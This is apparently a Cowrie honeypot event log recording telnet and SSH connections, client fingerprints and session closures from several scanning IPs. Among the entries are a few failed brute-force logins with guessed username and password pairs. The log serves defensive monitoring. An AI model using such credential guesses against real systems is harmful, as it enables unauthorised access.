{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":57718,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f4ccf281bbe","protocol":"telnet","message":"New connection: 167.99.38.72:57718 (159.203.135.109:23) [session: 1f4ccf281bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:39.005990Z"}
{"eventid":"cowrie.session.closed","duration":34.36781311035156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:39.817428Z","src_ip":"167.99.38.72","session":"b81f87a8109a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.824198961257935,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:40.090890Z","src_ip":"167.99.38.72","session":"9c6940fc9925","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22283458709717,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:41.433664Z","src_ip":"167.99.38.72","session":"df3939a9c990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.838517904281616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:41.822253Z","src_ip":"167.99.38.72","session":"d4401c2242f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83782148361206,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:41.827078Z","src_ip":"167.99.38.72","session":"a7acba406e8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1715829372406,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:42.538990Z","src_ip":"167.99.38.72","session":"45a28b1a41cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02488112449646,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:42.716592Z","src_ip":"167.99.38.72","session":"ef57d44dfdea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":60554,"dst_ip":"159.203.135.109","dst_port":23,"session":"edeae9f74224","protocol":"telnet","message":"New connection: 167.99.38.72:60554 (159.203.135.109:23) [session: edeae9f74224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:43.572407Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":38702,"dst_ip":"10.17.0.5","dst_port":22,"session":"f744adc581ac","protocol":"ssh","message":"New connection: 190.108.60.101:38702 (10.17.0.5:22) [session: f744adc581ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:46.733768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:46.738630Z","src_ip":"190.108.60.101","session":"f744adc581ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:46.934083Z","src_ip":"190.108.60.101","session":"f744adc581ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"010203","message":"login attempt [test/010203] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:47.743426Z","src_ip":"190.108.60.101","session":"f744adc581ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.84353804588318,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:48.468227Z","src_ip":"167.99.38.72","session":"5a126d2fed6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:48.942572Z","src_ip":"190.108.60.101","session":"f744adc581ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40800,"dst_ip":"159.203.135.109","dst_port":23,"session":"7845f7154aeb","protocol":"telnet","message":"New connection: 34.69.118.1:40800 (159.203.135.109:23) [session: 7845f7154aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:50.125928Z"}
{"eventid":"cowrie.session.closed","duration":35.307894229888916,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:50.816523Z","src_ip":"167.99.38.72","session":"3da8c26070a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30914902687073,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:50.820038Z","src_ip":"167.99.38.72","session":"cfb5b0d2b1f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:53.166604Z","src_ip":"122.168.114.167","session":"b9c43d7df498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.08651351928711,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:55.319568Z","src_ip":"167.99.38.72","session":"ede2d98b9fe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"29.5","message":"Connection lost after 29.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:32:58.826456Z","src_ip":"122.168.114.167","session":"b9c43d7df498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.68180990219116,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:00.087667Z","src_ip":"34.69.118.1","session":"7edc3b0e265b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11080741882324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:01.106298Z","src_ip":"167.99.38.72","session":"081a115ebfe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":43624,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c03622b6db7","protocol":"telnet","message":"New connection: 167.99.38.72:43624 (159.203.135.109:23) [session: 5c03622b6db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:01.747564Z"}
{"eventid":"cowrie.session.closed","duration":33.151777029037476,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:01.827601Z","src_ip":"167.99.38.72","session":"6527d6a1cb12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":43982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f452ad7f14d6","protocol":"telnet","message":"New connection: 167.99.38.72:43982 (159.203.135.109:23) [session: f452ad7f14d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:01.855652Z"}
{"eventid":"cowrie.session.closed","duration":30.578107357025146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:02.212035Z","src_ip":"34.69.118.1","session":"7ae47823be8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":44782,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f4718884c41","protocol":"telnet","message":"New connection: 167.99.38.72:44782 (159.203.135.109:23) [session: 4f4718884c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:02.900629Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":46890,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d70bbf77d36","protocol":"telnet","message":"New connection: 167.99.38.72:46890 (159.203.135.109:23) [session: 5d70bbf77d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:06.347212Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40638,"dst_ip":"159.203.135.109","dst_port":23,"session":"1985ef7ddf9f","protocol":"telnet","message":"New connection: 34.69.118.1:40638 (159.203.135.109:23) [session: 1985ef7ddf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:07.384735Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":47662,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eb906b8e737","protocol":"telnet","message":"New connection: 167.99.38.72:47662 (159.203.135.109:23) [session: 2eb906b8e737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:08.366786Z"}
{"eventid":"cowrie.session.closed","duration":34.572304487228394,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:08.385297Z","src_ip":"167.99.38.72","session":"2cacd5f9efb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.24885106086731,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:09.190385Z","src_ip":"167.99.38.72","session":"d418b652ccdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":48346,"dst_ip":"159.203.135.109","dst_port":23,"session":"5231f38bbd05","protocol":"telnet","message":"New connection: 167.99.38.72:48346 (159.203.135.109:23) [session: 5231f38bbd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:11.458736Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49048,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4e1335e601b","protocol":"ssh","message":"New connection: 122.168.114.167:49048 (159.203.135.109:22) [session: f4e1335e601b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:12.146344Z"}
{"eventid":"cowrie.session.closed","duration":34.88745141029358,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:12.581519Z","src_ip":"167.99.38.72","session":"26556a3b8ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.752588987350464,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:13.758452Z","src_ip":"167.99.38.72","session":"1f4ccf281bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":53046,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a96d14ea65","protocol":"telnet","message":"New connection: 167.99.38.72:53046 (159.203.135.109:23) [session: a2a96d14ea65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:15.748419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:16.070403Z","src_ip":"122.168.114.167","session":"f4e1335e601b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:16.074586Z","src_ip":"122.168.114.167","session":"f4e1335e601b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54000,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e22184dc69","protocol":"telnet","message":"New connection: 167.99.38.72:54000 (159.203.135.109:23) [session: 22e22184dc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:17.202339Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34432,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c6549d5213","protocol":"telnet","message":"New connection: 34.69.118.1:34432 (159.203.135.109:23) [session: 02c6549d5213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:17.698508Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54404,"dst_ip":"159.203.135.109","dst_port":23,"session":"b04094a5dcb9","protocol":"telnet","message":"New connection: 167.99.38.72:54404 (159.203.135.109:23) [session: b04094a5dcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:17.729068Z"}
{"eventid":"cowrie.session.closed","duration":34.220144271850586,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:17.792423Z","src_ip":"167.99.38.72","session":"edeae9f74224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54840,"dst_ip":"159.203.135.109","dst_port":23,"session":"f80b1ae6135a","protocol":"telnet","message":"New connection: 167.99.38.72:54840 (159.203.135.109:23) [session: f80b1ae6135a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:18.442096Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54918,"dst_ip":"159.203.135.109","dst_port":23,"session":"c274b2c214b9","protocol":"telnet","message":"New connection: 167.99.38.72:54918 (159.203.135.109:23) [session: c274b2c214b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:18.603712Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":57864,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9c149a77e11","protocol":"ssh","message":"New connection: 221.139.88.149:57864 (10.17.0.5:22) [session: b9c149a77e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:20.199481Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":34398,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e44accbc92","protocol":"ssh","message":"New connection: 113.163.156.190:34398 (159.203.135.109:22) [session: b4e44accbc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:20.254533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:20.259599Z","src_ip":"113.163.156.190","session":"b4e44accbc92","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:20.272105Z","src_ip":"221.139.88.149","session":"b9c149a77e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55426,"dst_ip":"159.203.135.109","dst_port":23,"session":"132f37d7d1ea","protocol":"telnet","message":"New connection: 167.99.38.72:55426 (159.203.135.109:23) [session: 132f37d7d1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:20.330787Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:20.452492Z","src_ip":"221.139.88.149","session":"b9c149a77e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:20.516295Z","src_ip":"113.163.156.190","session":"b4e44accbc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w1e2r3t4","message":"login attempt [root/w1e2r3t4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:21.364016Z","src_ip":"221.139.88.149","session":"b9c149a77e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":56122,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf5ed326591","protocol":"telnet","message":"New connection: 167.99.38.72:56122 (159.203.135.109:23) [session: acf5ed326591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:21.410050Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qj123456","message":"login attempt [root/Qj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:21.572126Z","src_ip":"113.163.156.190","session":"b4e44accbc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":56358,"dst_ip":"159.203.135.109","dst_port":23,"session":"14b264bc80d6","protocol":"telnet","message":"New connection: 167.99.38.72:56358 (159.203.135.109:23) [session: 14b264bc80d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:21.724650Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":57002,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a3090ab730","protocol":"telnet","message":"New connection: 167.99.38.72:57002 (159.203.135.109:23) [session: c8a3090ab730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:21.755914Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.81","src_port":62570,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7a90148e66","protocol":"telnet","message":"New connection: 66.132.195.81:62570 (10.17.0.5:23) [session: 6e7a90148e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:22.096599Z"}
{"eventid":"cowrie.session.closed","duration":32.27766275405884,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:22.403496Z","src_ip":"34.69.118.1","session":"7845f7154aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:22.587685Z","src_ip":"221.139.88.149","session":"b9c149a77e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:22.832293Z","src_ip":"113.163.156.190","session":"b4e44accbc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34440,"dst_ip":"159.203.135.109","dst_port":23,"session":"9853d888ecd2","protocol":"telnet","message":"New connection: 34.69.118.1:34440 (159.203.135.109:23) [session: 9853d888ecd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:25.383526Z"}
